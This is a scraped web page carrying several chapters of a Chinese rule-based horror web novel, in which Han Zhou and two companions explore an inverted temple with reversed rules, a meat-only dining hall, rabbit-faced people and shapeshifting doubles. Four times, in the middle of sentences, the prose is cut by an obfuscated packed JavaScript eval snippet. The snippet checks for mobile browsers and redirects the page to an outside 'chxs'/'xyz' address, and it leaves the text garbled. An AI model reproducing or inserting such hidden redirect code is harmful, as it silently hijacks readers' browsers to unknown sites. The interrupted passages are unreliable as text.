四、身着赤色袈裟的僧人是可以信任的，他会带给你快乐。 五、寺院里没有穿靛蓝色袈裟的僧人，如见到，请无视他，更不要与他对话！ 这些规则…竟跟之前的全部相反！尤其这个“可以杀生”看得韩舟心头一股凉气直冒。 这个“极乐净土”又是怎么回事？这里…不是原来那个灵古寺了？ 还没等韩舟细想，山门边凭空出现了一个穿赤色袈裟的僧人，他神采奕奕，脸上带着灿烂的笑容，仿佛正经历着世上最开心的事。 看到韩舟走近，他上前把一个木牌递给韩舟。 韩舟伸手接过木牌看了眼，上面写着三个字“肆肆肆”。 … 怎么到哪都逃脱不了这“吉利”的数字啊！ 见韩舟接了木牌，僧人满面春风地开口：“这里是极乐净土，无有众苦，但受诸乐，施主可在此地尽情享乐。” 韩舟有些丈二和尚摸不着头脑，这里是西方极乐世界吗？这个画风怎么不太对。 又一个穿赤色袈裟的僧人出现，同样一脸灿烂笑容，他引着韩舟向寺里走去。他们来到了一座宏伟的佛殿前，僧人将一大把香递给韩舟：“施主，进去上香吧，记住不能上三炷哦。” “这香给的是不是太多了点…”韩舟双手捧着一把香进入殿内。殿中空无一人，连诵经的僧人都没有，安静得针落可闻。一座高大的金身佛像置于殿正中。这个佛像是笑着的，有点像弥勒佛，却又不完全一样，乍一看有些鬼气森森。 反正殿内无人，她索性开始找找有没有线索，她先走到案前看了看，案上香炉里是空的，里面没有一炷香，是没有别的香客来过吗… 她又绕到佛像后面，发现佛像背上刻着几个大字：“所见诸佛，皆由自心”。这句话出自《华严经》，不过韩舟不通佛理，并不清楚具体是什么意思。 她在殿内绕了一圈没发现别的，便回到佛像前上香。 规则二，进了寺内不能上三炷香，可以多也可以少。 韩舟略微思索了下，干脆把一把香都点燃了，插进香炉里。反正香炉里空的，给它多添点香火也是好事一桩。 插完香，韩舟凝神瞧了瞧佛像，高大的佛像依旧咧嘴笑着，没有一点要哭的样子。她便放下心来，转过身准备离开，刚走没几步，就听到“啪”一声，是一滴水落在地上的声音，在寂静无人的殿内显得分外清晰，紧接着她的背后传来一阵幽幽哭声。 韩舟无奈地停住脚步，闭上眼开始倒计时六十秒。这哭声凄厉哀绝，一会儿如婴儿啼哭，一会儿又像个成年人的声音，在空旷的殿内不断回响。 待六十秒过去，背后的哭声消失了，她回过头看向佛像，不知道为什么，她觉得佛像的笑容有些哀伤。 出了殿门，刚才的赤衣僧人笑眯眯地站在门口等她，见韩舟一出来就热情地凑上来，语调抑扬顿挫：“走吧，去看看你的住处！” …好一个精神小伙儿。 韩舟跟着僧人来到一处院落，和韩舟之前住的地方一模一样。她瞄了一眼草丛，那里并没有兔子。 房间相邻整齐排布，其中一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480577|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门大开着，门前摆着一张醉翁椅，有个人躺在椅上睡觉，竟是之前消失了的白衣女子。原来她不是变成了兔子，而是出现在了这个“灵古寺”。 白衣女子似乎听到他们的动静，睁开眼看了他们一眼，翻了个身又闭眼睡去。韩舟注意到，她的眼睛是血红的。 赤衣僧人笑了笑：“施主，这里的人都很随意，你也不必拘束。”随后他指了指其中一间房，“施主，你就先住在这吧。”顿了下又补充，“晚上一定要来斋堂哦，我们为你准备了丰盛的饭食。” 韩舟道了声“好”，心里却腹诽：就斋堂那个晚饭还能怎么“丰盛”… 僧人听到她的回复后眉开眼笑，脚步轻快地离去了。韩舟刚准备进屋，就看到白言和飞羽跟在另一个赤衣僧人后面走了进来。僧人在韩舟的房前站定，指着房间对白言道：“施主，你住这里。”又转向飞羽，指了指白衣女子身后那屋，“你就住那。” 这是…男女混住？韩舟有点诧异。 白言还未开口，飞羽先叫了起来：“师父，这不妥吧！男子和女子怎么能同住一屋？” 僧人笑嘻嘻道：“这有什么？施主大可放心，我们这里没有男女之防。”说罢冲着飞羽眨了眨眼睛。 飞羽还待说什么，僧人已经转身离去了。 …飞羽愣了愣，他看了一眼白衣女子，又看了一眼韩舟，随机快步走到韩舟面前，将木牌递到她手边：“我们换一下，我要和公子住一块！” 韩舟冷冷扫了他一眼：“不换。” 见韩舟如此态度，飞羽急了：“…你是不是介意刚才的事，我给你赔不是！公子已经责骂过我了。” 韩舟面不改色道：“不是因为这个，如果你不想死的话，最好不要换房间，也不要换床。”之前房里的规则里有一条是要按照木牌上的编号睡在对应的床上，不能睡错。韩舟虽在说实话，但这话叫人听起来有一股威胁意味。 飞羽还待说什么，只听白言温声道：“飞羽，不必换了。” “可…公子…” “无妨，只是一晚而已，明日我们就想法子离开。” 飞羽只得作罢，他把手里两把剑的其中一把递给白言，“公子，千万小心啊。” …这不还是担心她是妖怪呢，韩舟一脸无语。 韩舟和白言二人进了屋，发现里面的两张床比之前更大了些，床上被褥枕头齐全。她坐在床上检查起床边的墙壁，墙上果然写着几排小字： 一、床可以随便睡，不需要按照木牌上的编号来。 二、夜晚的寺院很安全，子时以后可以随意出房门。 三、你的同伴不会出现异常，如果有，那都是正常的，没事不要打扰住持。 …这个规则怎么又跟之前是相反的，而且有一种摆烂了的咸鱼感… 床可以随便睡，也就是说，她和白言不睡一屋也行。她看了眼白言，现在跟他说可以换房间还来得及吗？会不会被当成反复无常的精神病… 19. 深山古寺（七） 还是算了，反正就几晚，想办法快点通关就是了。韩舟走到窗前，推开窗户想呼吸点新鲜空气，屋檐下挂着几只青铜风铃，风吹铃响。 韩舟在心里开始复盘得到的线索，这个寺院虽然看上去和之前的灵古寺差不多，但种种迹象显示应该不是同一个，两者的关系有点像《寂静岭》中的表世界和里世界。 消失了的白衣女子出现在这个“里世界”，那估计沈蟠也在这了…而她和白言三人，应是被慈恩法师拉到了这里。 到这里后会怎样，被污染成怪物吗？但自己还没有变化，那么遵守这里的规则可以避免污染吗？ 还有怎样才能回到原来的灵谷寺？慈恩法师无疑是非常危险的存在，他会是这个怪谈的源头吗？ 韩舟脑子里的线索如一团乱麻搅在了一起，一时半会也理不清楚，目前只能先走一步看一步了。 韩舟瞄了一眼白言，他手持长剑站在床边安静不语，不知在想些什么，他手中的宝剑通体呈月白色，上面似乎刻着繁复的花纹，隔着一段距离看不清具体是什么纹路。 韩舟暗暗想，原来他使剑，怪不得指腹有茧，应该是长期练剑形成的，这个npc应该不像外表看上去那么文弱。现在同处一室，还是尽量不要惹他，虽然他看起来挺温柔的，但也可能是个白切黑呢，万一发生矛盾被捅一剑可不划算。 二人就这样各怀心事没有说话，过了一会儿，白言首先开口打破了这片静默：“飞羽刚才冲撞了姑娘，我替他向你赔罪。” “没事儿。”韩舟随口道，“我不同小孩计较。” “……”白言停顿了下，又问：“韩姑娘对现下发生的事可有头绪？” “有是有一点，但不敢完全确定，再看看吧，总之在这里千万要小心。”韩舟说了一些并什么用的废话，主要是不确定的事说出来，万一把这些npc带沟里去就不太好了。 “刚才几位师父身上的衣服和之前不同，我和飞羽去殿中上香，要求也跟先前不同…”白言缓缓道，“这里不是之前的灵古寺吧？” 韩舟眯起了眼睛，这个npc果然很敏锐啊。 “没错，这里比之前的灵古寺更危险。” “公子！”飞羽的声音在外面响起。 白言推开门，只看到飞羽苦着一张脸站在门口：“我刚才去了房里，闻到一股烤肉味，地上全是骨头…这寺院里不是不给吃肉吗？” “这里不是之前的寺院，飞羽你行事一定要小心。”白言神情严肃，一字一句叮嘱。 “还有小心你同屋的白衣女子。”韩舟在后面补充，“没事别跟她说话。” “…知道了。”飞羽感觉被两个人同时教育了。 韩舟看了看外面的天色，差不多到饭点了：“我要去斋堂吃饭，顺便找找线索…你们一起吗？我可事先提醒你们，这里的斋堂肯定会很危险。” 白言沉吟片刻，拿上了剑，“我与姑娘同去。”飞羽见状，也抱剑跟了上来。 韩舟看了他们一眼，心生好奇：“说起来…为什么之前没在斋堂见过你们？” “公子不喜去人多的地方。”飞羽抢答道。 啧，就知道，这些富贵人家的公子都一样…不过韩舟凭心而论，自己要是有别的好吃的，也不想去斋堂吃饭… 韩舟按照记忆中的路线找到了斋堂，果然处在跟之前一样的位置，建筑外表也完全相同。飞檐翘角，红瓦白墙，朱漆大门敞开着，里面传出喧闹之声。 雪白的墙壁写着几行血字： 一、斋堂里只提供荤食，请尽情享用。 二、用饭前不用诵经，用饭期间可以随意闲聊。 三、碗里的肉要吃干净，一块也不能剩。 四、兔子是我们的好伙伴，如果看到也不要害怕，可以邀祂一起用饭。 斋堂的规则果然又跟之前相反，不仅是反的，还有种癫癫的味道…先前是只能吃素，现在居然只能吃肉…怪谈里的肉怎么敢吃啊，谁知道是什么肉？ 韩舟思索着要不要原路返回算了，少吃一顿也不要紧，吃到什么奇怪的东西可就不妙了。思忖间，一个赤衣僧人从斋堂里“噔噔噔”一路小跑出来，冲他们招了招手，“施主们，别站在那儿了，快进来。” 三人都迟疑着没有动作，赤衣僧人见他们不动，就伸手扯住每个人的衣袖，连拖带拽地将他们拉进了斋堂。 斋堂里喧闹声不绝于耳，空气中弥漫着油腻的肉香和浓烈的酒香，桌前密密麻麻坐满了人，有的大口嚼肉唾沫横飞，有的喝酒喝得面红脖子粗，甚至有的斜躺在地上摆出个弥勒佛姿势睡觉。 这里所有人的眼睛都是血红的，仔细看去，那红色竟是由眼眶里的一条条血丝编织而成。 韩舟在这些人中看到了沈蟠，他坐在斋堂的角落里，手捧一大块肉狼吞虎咽吃得正香，眼睛也红得厉害，果然，所有消失的人都到了这里。 飞羽看着这番景象，咽了口口水：“公子，我们要不要…”没等他说完，赤衣僧人就端着一个食案来到他们面前，案上放着三只青瓷大碗，碗里装满了油光发亮热气腾腾的肉块：“这肉是我们精心烹调的，施主们不来点吗？” 韩舟眉头微皱，她正着想找个什么理由拒绝，就见身边的白言向僧人施了一礼：“多谢师父美意，但我们平日不食荤腥，只能心领了。” 听得此话，僧人脸上灿烂的笑容骤然消失，眼白中血丝暴增，他盯着三人阴恻恻开口：“为什么不吃？施主是不满意我们准备的饭食吗？”说话间，他眼中的血丝越来越多，逐渐充斥了整个眼眶，眼看着就要变成一片猩红… 韩舟眼疾手快接过食案，作出一副柔顺的样子：“谢谢师父，我们这就吃！”僧人目光在韩舟脸上巡睃了圈，眼中血丝慢慢褪去，嘴角露出满意的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491666|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“施主慢慢享用。” 看着僧人离开的背影，韩舟呼出一口气，转过身对着另外两人：“没办法了，吃吧。”她端着食案走了几步，来到一张空桌前，把食案置于桌上。 三人围着桌子坐下，望着碗里的肉迟疑着不敢动筷。“哪有在斋堂吃肉的…这地方一看就有问题…”飞羽用筷子拨弄着碗里的肉嘟囔着。 规则里说，碗里的肉要吃干净，一块也不能剩。韩舟拿起筷子，夹起一块肉。这肉色泽红亮油润，上面点缀着红椒，散发着阵阵香气，卖相倒还挺好…她将肉放入嘴中，心里念叨着千万别是什么奇怪的肉… 肉入口后有股淡淡的腥味，但意外的鲜嫩，红椒的辛辣刺激着味蕾…韩舟一块吞下后，忍不住又夹了一块。 见韩舟如此，飞羽也夹了一块，放入口中嚼了几下后，发出声惊呼，“这肉真好吃！”话还没说完，他又囫囵往嘴里塞了几块，跟着话音一起吞入腹中。 白言看着碗里的肉，手执筷子却迟迟未动，沉静如水的面容上里少见地露出挣扎神色，韩舟瞟了一眼他，感觉他这样子不像是担心肉有问题，更像是看到讨厌的食物难以下咽… “公子不喜辛辣油腻，我来替你吃！”飞羽已把自己碗里的肉吃完，见白言这副表情，便伸手拿走了白言面前的那碗肉。 而韩舟吃了两块以后，肉香在她唇齿间蔓延开，竟有一种想再吃三大碗的冲动…“这肉真香啊，还想再吃…不对…”她努力压抑住这种想法，手一颤，掷下筷子。 “韩姑娘你也不吃啊？那给我。”飞羽见状又把韩舟的碗抢了过来，白言的那碗肉已被他吃的干干净净，露出了碗底的小花，韩舟那碗在他的手里不一会儿也见了底。他的眼神贪婪又急切，好像饿了好几天似的。 韩舟惊觉不对劲：“快让他停下别吃了！”白言闻言，立刻抓住飞羽的肩膀，将他从桌边扯开。飞羽却极力挣扎，“公子你干什么！让我吃肉！”飞羽会武，此刻拼命挣扎更是力气大的出奇，白言又怕伤了他，未敢用狠，没一会儿功夫就快被他挣开。 韩舟心道不好，电光火石间，她扬起手，一巴掌抽在了飞羽脸上，只听“啪”一声脆响，飞羽脸上留下了片红印。他呆住了半晌，在白言的连声唤下才茫然抬头看向他们：“公子…发生什么了？”随即又捂着脸叫道：“好痛！” “这肉不能再吃了，我们快走。”韩舟率先大步走出斋堂，为什么会出现刚才的情况？他们明明是按照规则来的…她背上升起股寒意。 白言扶着飞羽也出了斋堂，看着飞羽脸上清晰可见的红印，韩舟有点心虚…她定了定心神，仔细观察了下飞羽的眼睛，黑白分明，没有血丝，还好… “公子，刚才是怎么回事？”飞羽困惑地喃喃道，“我突然就很想很想吃肉。 白言面色凝重地摇了摇头。 远处传来悠扬的钟声，暮色四合。 20. 深山古寺（八） 夜色已深，韩舟和白言和衣躺在各自的床上，房里未点灯，一片静谧无声。 韩舟毫无睡意，她攥着被子思考着白天的事，他们明明按照规则里的要求吃了肉，却险些被污染，在她上一周目游戏中从未出现过这种事…怪谈里的规则不会有假，只不过越到后面的副本，规则就越模糊，会设下各种各样的陷阱让玩家跳坑。 但假规则是不存在的，如果规则都是假的，那这规则怪谈游戏还怎么玩？干脆让怪物一开始就把玩家吞了来得干脆。 所以这究竟是怎么回事… 韩舟翻了个身，脸颊蹭着硬邦邦的枕头，内心烦躁不安，她想着得尽快通关了，明天一早就去见见这里的“慈恩法师”吧，不知道和之前的还是不是同一位… 还有佛塔…对了，佛塔！ 之前的佛塔白天有人守卫，晚上规则又要求二人相伴才能出门，条件及其苛刻，根本没法去查探。但在这个“里世界”，晚上可以随意出门，且不用人陪同，不正是探查佛塔的好时机？ 佛塔守卫这么严，一看就藏着什么秘密。 韩舟侧过身，用余光瞄了一眼隔壁床上的白言，他静静躺着，呼吸轻而平稳，似乎是睡着了。 韩舟放缓呼吸，动作极轻地下了床，穿上鞋子后蹑手蹑脚走到门边，又回头看了一眼白言，见他依旧没有动静，连呼吸频率都没有变化，便放心地推开门走出去。 夜色如墨，薄云遮月，走廊上的纸糊灯笼发出幽红的光，远处的禅房佛殿像黑暗中蛰伏的猛兽。 韩舟刚走几步，就听见“吱呀”一声，隔壁的房门打开了，一个白色的身影像一片雪般飘了出来。 韩舟惊得倒退几步，想找个地方躲起来，对方却似没看到她，径直向前走去，转瞬就隐入黑暗。 是隔壁那个白衣女子…韩舟疑惑地摸了摸下巴，这么晚了她要去哪儿？微微犹豫了下，韩舟往白衣女子离开的方向走去。 韩舟远远地跟在那女子后面，不敢离得太近。白衣女子的步伐轻飘飘似雪，一头乌黑长发完全浸入夜色中，她的背影远远看上去，如同只剩了一件白衣漂浮在空中，叫人瘆得慌。 韩舟跟了她一路，很快来到了一片杂草地前，白衣女子停住脚步，骤然回头，韩舟随即闪身躲入了一棵大树后。 白衣女子血红的双目环视了四周一圈，等了片刻后，转过身蹲下，整个身子舒展开趴在了草地上。凉风拂过，云雾散去，露出一轮皎月，她的手和脸上开始长出白色的绒毛，耳朵逐渐变长，变成了一双…兔耳朵？她的嘴唇也逐渐裂开，变成了一张三瓣唇。 韩舟吃惊地瞪大眼睛，就在此刻，一阵脚步声由远及近，一个又一个红眼睛的“人”走进杂草丛，身上都生出了兔耳和绒毛。他们趴在草地上沐浴着月光，砸巴着三瓣唇，一副十分享受的样子。月凉如水，洒向满地的兔脸人，这场景阴森诡谲到了极点。 韩舟怕惊动这群兔脸人，就它们这个数量，要是一拥而上…她可不想再经历上个怪谈里的车轮战了，她缓缓倒退几步打算离去，刚转过身，就对上了一双幽深如潭的眼睛。 白言站在她身后的树影里，漆黑的双眼深深注视着她，他的的腰间别着那柄月白色宝剑，清辉透过枝桠倾泻在他的墨发上，面容在半明半暗中显得有些朦胧，让人一时怀疑他从月中而来。 …要不是韩舟心理素质好，此刻都要发出惊声尖叫了，他是什么时候来的？怎么一点声音都没有？她极力稳住心神，向白言比了个噤声的手势，又指了指草丛的方向，白言似是明白了她的意思，微微颔首，二人放轻脚步离开了这片区域。 等走到一处僻静无人之地，韩舟率先发问：“白公子，你怎么来了？” 白言嘴角带笑，眼里却无笑意：“韩姑娘又为何来此？” “我…我当然是来找线索的啊。”韩舟理直气壮答道，事实也确是如此。 “那在下也一样。” …韩舟决定不和他继续纠结这个问题：“刚才那些长着兔脸的人你都看到了？” “嗯。”白言点头，“这里的人看来都是妖邪。” 见他一副平静的样子，韩舟犹豫了下，直接交了底，“白公子，这里的佛塔可能藏着什么秘密，我要去里面查探。” “姑娘怎能孤身一人犯险，我与你同去。”白言乌黑的眼珠看向她，神情极为郑重。 “啊？不用了…”韩舟急忙摆手拒绝，怎么能让他跟着去，被怪物吃了或者被污染了算谁的？ “为何？” 当然是因为我有道具傍身而你没有啊，而且我还有超高的精神值不容易被污染…韩舟想了想说：“其实我会一点驱鬼之术…” 白言露出了意外的神色：“韩姑娘是方士？” “算是吧…”韩舟觉得自从玩了《降神》游戏，她的谎话越编越顺口了，“但我那点驱鬼之术只够自保，所以你还是别跟着我去，有危险我怕顾不上你。” 白言犹疑片刻，没再坚持，轻声道：“好，那姑娘多加小心。” 这npc还挺好说话的。 韩舟取出一张符纸递给他，“这地方的人除了飞羽你都离他们远点，就是飞羽你也要注意…这个符纸你拿着，它能测出人有没有污染，如果飞羽出现异常，你就把符纸贴在他身上…” “污染？”白言重复了遍这个词，似是对它感到陌生。 “就是…被邪祟附体。”韩舟换了一种他能听懂的说法，“符纸贴在人身上后，变黑了就是邪祟侵体，反之就是没有。” 白言接过符纸放于掌心，见符纸毫无变化，“这样，就是我没有被污染？” “没错。”孺子可教也，韩舟满意地点点头，“我走了，你自己小心啊。” 看着韩舟背影渐走渐远，白言将符纸捏在手里，神色晦暗不明。 韩舟按着记忆中的路来到了佛塔边，夜色中的佛塔被张牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497470|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞爪的树影环绕，像极了深海中的巨物，充满了压迫感。 她一脚踩上冰凉的石阶，先是观察了一圈四周，见无人守着，这才小心翼翼地迈上石阶，走进了那座佛塔。 佛塔里的阶梯是螺旋式的，韩舟扶着栏杆缓缓而上，塔中的黑暗如一团浓墨，好在有月光透过雕花窗，劈开了这团浓稠的墨色洒在台阶上，让她勉强能辨认得出前行的路。 刚上了几级台阶，韩舟听到身后传来很轻的脚步声，她猛地回头，看到一个熟悉的白色身影。 “你怎么跟来了？”韩舟满脸无奈，“都说了这里很危险。” 来人正是白言，他手握长剑，如玉脸上笑意淡淡：“我不放心姑娘，因此还是来了。” 真是服了，刚还觉得他很好说话，现在看来这个npc真是一点也不听话。“算了…你等会儿跟紧了我，遇到事就躲在我身后，让我来处理，知道吗？”韩舟不放心地叮嘱道。 白言眼里闪过一丝讶异，随即浅笑道：“好。” 二人一前一后继续登塔，寂静中只听得到轻微的脚步声。 韩舟爬了一段阶梯，琢磨着还有些东西需要和白言嘱咐，便清了清嗓子开口：“白公子，那些长着兔脸的人，你如果再遇到它们，尽量离远点，不要跟它们交谈，更不要跟它们发生冲突…还有…” 韩舟絮絮叨叨说了半天，身后的白言并没有回应，她初时只当白言在安静倾听，可当她止住了说话声后，发现了不对劲。 背后的脚步声不知何时消失了。 她转过头，身后空无一人，只有月光无声在石阶上流淌。 白言不见了。 他是什么时候消失的？自己只顾着说话竟没有察觉！韩舟顿觉懊恼，急忙张口喊了一声：“白公子？” 没有任何回应，塔中只有她一个人的声音在回响。 韩舟浑身冰凉，她攥紧了拳，心跳如鼓，要返回去找他吗？还是继续登塔找线索？她思索片刻，终究是顺着阶梯而下，这地方这么危险，总不能放着他不管。 她快步连下好几级阶梯，终于在一个拐角处看到了个白色的身影。 白衣墨发，发上束着精致的银冠，还有那张清俊的脸，嗯…是白言没错了，韩舟缓缓吐出一口浊气，狂跳的心脏逐渐平稳下来。 “你刚才去哪了？把我吓到了，不是让你跟紧我吗？”韩舟有些生气地抱怨道，她刚才还担心他被怪物拖走了，不听话的npc真的很讨厌啊… 白言一脸诧异地看向韩舟：“刚才？”紧接着他缓缓开口，吐出一句叫人遍体生寒的话。 “我是刚刚进入这塔，此刻才遇到姑娘。” 韩舟呼吸一窒，周遭陷入了漫长的寂静，静得只听到二人的呼吸声。 他是才进来的？那她刚才碰到的人是谁？ 她看向白言，他神色严肃，不像作伪。 “韩姑娘刚才遇到的人…恐怕不是我。” 21. 深山古寺（九） 韩舟刚平稳下来的心跳又加快了，脊背生寒，所以…刚才的白言是怪物变的？她也太大意了，跟一个怪物同行竟然毫无觉察，幸好刚才怪物跟在她后面的时候没有发动攻击… 可是…韩舟上下打量了下面前这个白言，万一他也是怪物变的呢？清幽的月光透过窗棂洒在他的脸上，他的相貌和白言一模一样，连斯文的气质都极其相似。 她无法用符纸判断，因为测试污染的符纸和清除污染的道具一样，都是在人刚被污染的时候才有用，若是碰上已被怪谈同化的怪物就是废纸一张。 不过怪物变成人混在玩家当中，这种事韩舟以前也不是没遇到过，只要不是真正的玩家，就无法做到毫无破绽，比如记忆是没法复制的… 变成npc的怪物应该也差不多…韩舟决定试探他一番，可惜她和白言不算熟，就他们那点少得可怜的共同经历不知道能试探出几分。 想到这，韩舟先状似无意问道：“你为什么跟过来了？不是让你不要来吗？” “我不放心姑娘，因此还是来了。”眼前这白言的回答，竟和之前的那位一模一样…只是这个白言的脸上并无笑意，眉眼清寒，带着一股疏离感。 韩舟注意到他两手空空：“你的剑呢？” 白言眼中流露出一丝窘色，“我进塔前遇上一只妖邪，与它交手时不慎弄掉了。” 真的吗…白言会这么不小心吗？ “我们第一次见面是在哪？” 白言一怔，似乎是没想到她会问出这个问题，迟疑了片刻，才道：“慈恩法师的住所。” …回答错误！不过也可能是他不记得和自己在佛殿相遇那次了。 “与你同行的那个少年叫什么名字？” “…飞羽。” “你的木牌上写着什么字？” “肆肆伍。” “我们今天在斋堂吃的是什么素食？” “…”白言冷淡的脸上舒展出一丝笑容，“我们吃的不是素食，而是肉。” 嗯…都答对了…韩舟抿了抿唇。 “姑娘现在相信我是真的了吗？”白言含笑问道。 勉强过关吧，韩舟觉得再多也试探不出了，因为她并不了解眼前这个人，“话说…你就不怀疑我是假的吗？” 白言的笑容如春风拂面：“我相信姑娘。” “…”韩舟一时语塞，停了半晌才道，“走吧，我们继续登塔。” 白言颔首，目光扫向韩舟，示意她先走。 韩舟略一思索，露出一个甜笑：“你走前面。” 白言面上划过一丝异样之色，却也没有多话，径直踏上石阶向上走去，韩舟随即跟上。 二人就这么无言走了一段，塔中只有沙沙的脚步声回响。韩舟紧紧盯着白言的背影，他的个子高出自己大半个头，如墨长发垂至腰际，月光在上面铺陈一层白银。 绕过一个拐角，前面的白言突然驻足，韩舟跟的太近，猝不及防撞上了他的后背，一股草叶的清香扑面而来，韩舟感到他的身体冰凉刺骨。 韩舟急忙倒退几步，“发生什么了，为什么停下了？” 白言身子未动，整个脑袋倒转了过来，一双眼睛猩红似血，目光如淬了毒的利箭，阴冷湿滑的声音从他口中传出： “施主，诸法空相，不生不灭，不垢不净，不增不减，何必执着真相是什么呢？” “…你谁啊…听不懂你在说什么…”韩舟翻了个白眼，手一扬，召唤出板砖，朝着他的脸拍了过去。 板砖还没挨到他的脸，“白言”就化成一道白光原地消失了。 …韩舟盯着“白言”消失后空荡荡的石阶，叹了口气，抬腿继续向上走。算了，不管他了，先登塔吧，得想办法早点通关，她再强能力也有限，保护不了所有npc。 又向上走了一段路，前方的石阶上猝然出现一个白色身影。 白言面对着她而立，脸上带着焦急之色：“韩姑娘，你怎么样？可有遇到危险？” … 韩舟冷眼看着这个白言并未言语，对方见她不答话，又接着道：“我本跟在姑娘身后，只一转头的功夫，姑娘便不见了。” 韩舟还是不说话。 白言见状也闭上了嘴，静立片刻后，他的嘴角微微扬起，面上浮出一丝冷笑：“施主，你的执念太深，劝你尽早回头，否则终会害人害己” “…你究竟是哪位？”韩舟又翻了一个白眼，“你到底想干什么啊！” “白言”闭上双眼，缓缓道：“老衲…普欲度脱一切众生。”话音刚落，他的眼睛又睁开，已变成一片猩红。 “你是…慈恩法师？”韩舟悄悄握紧手中的板砖，正打算出其不意地给他脑袋来一下，下一瞬，“白言”的表情凝固了，闪烁着寒光的利剑从他胸口穿过，却没有一滴鲜血溅出。他僵硬的嘴角抽了抽，露出一丝古怪的笑容，顷刻间化成一缕白烟消散。 又一个白言站在烟雾散去的位置，手握一柄月白色宝剑，面若寒霜：“韩姑娘，你可有受伤？” …韩舟差点抓狂，她现在看到白言的那张俊脸都有些头痛…“法师，你有什么话想说就现在一并说了吧，不要一会儿来一下的，浪费我们彼此的时间。” “…”白言露出一言难尽的神色，“韩姑娘，我不是什么法师，我不信佛。” “好巧，我也不信。”韩舟冷哼一声。 …空气安静了一瞬，白言沉默了下，又开口：“三日前，我与你在佛殿内抽到了同一支签，那支签的签文是…”他顿了顿，轻声道，“既得相逢，不问缘劫。” 韩舟面露惊讶，这个白言，他居然记得！如果之前的假白言都是慈恩法师幻化成的。他确是不知道这件事，所以当她问假白言，他们第一次见面是在哪的时候，对方的回答是慈恩法师的住所。 但…单凭这个也不能确定眼前这人是真是假，白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507541|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言见韩舟仍是一脸怀疑，轻轻叹了口气，从袖中取出一张符纸，将其置于手掌心，“韩姑娘你看，我没有被污染。” 韩舟伸手取过那张符纸，仔细看了一眼，的确是污染试纸没错，自己常用的道具她还是认得的，眼前这个白言是真白言。她松了一口气，半开玩笑道：“原来你记得在佛殿求签的事，我还以为你忘了呢。” 白言轻轻一笑：“这种事，要忘记也很难…不过韩姑娘请放心，我不信什么命中注定，也不会纠缠你。” “我不是那个意思…”这话说得韩舟都尴尬了，她决定转移话题，“你刚才去哪了…不对，你究竟是什么时候进的这佛塔？” 白言微微扬眉：“韩姑娘忘了？是你让我遇事就躲到你身后。” …挺好，他记住了她讲话的重点。 白言将自己刚刚的经历悉数告知，原来他一直跟在韩舟身后，忽见韩舟凭空消失了，他一路向上都未见到人影，却听见韩舟的声音从后方传来。 韩舟陷入沉思，根据白言所说，他没有被怪物拖走，而是一直在往上走，却没有碰到自己…她猜测，应该是慈恩法师让这塔里的空间发生了错乱，她和白言踏入了不同的空间，所以看不见彼此，而此刻空间交汇，便又相遇了。 “接下来我们不能再走散了，谁知道又有什么鬼东西混进来…”韩舟对刚才的事有阴影，“你走前面吧，不要离开我的视线。”话刚落又想起白言刚才就跟在她后面，却还是忽然就看不见她了… 要不…手拉手一起往前走？韩舟感到一阵恶寒，摇了摇头，还是算了… 白言也在低头沉思，片刻后，将手里的宝剑递向韩舟：“请韩姑娘抓住我的剑，这样我们就不易被分开。” 这倒是个好方法，韩舟低头看了一眼这柄月白色的宝剑，对了，他刚才用这把剑杀掉了慈恩法师的化身，这明显不是把普通的剑。 这把剑的剑鞘上刻满了繁复的花纹，这些纹路乍一看有点像一只只眼睛…韩舟伸手握住了剑鞘，耳边骤然响起系统的机械音：“这是一把特殊的剑，对鬼怪有一定杀伤力。” 韩舟愕然，这是…道具？为什么这个npc会有道具？ 她略一沉吟，决定旁敲侧击一下：“白公子，你这剑居然能杀鬼怪…看来不是普通的宝剑…是来自哪个方士么？” 听到韩舟问起这把剑，白言脸上浮现出敬重之色：“此剑是我业师所赠。” 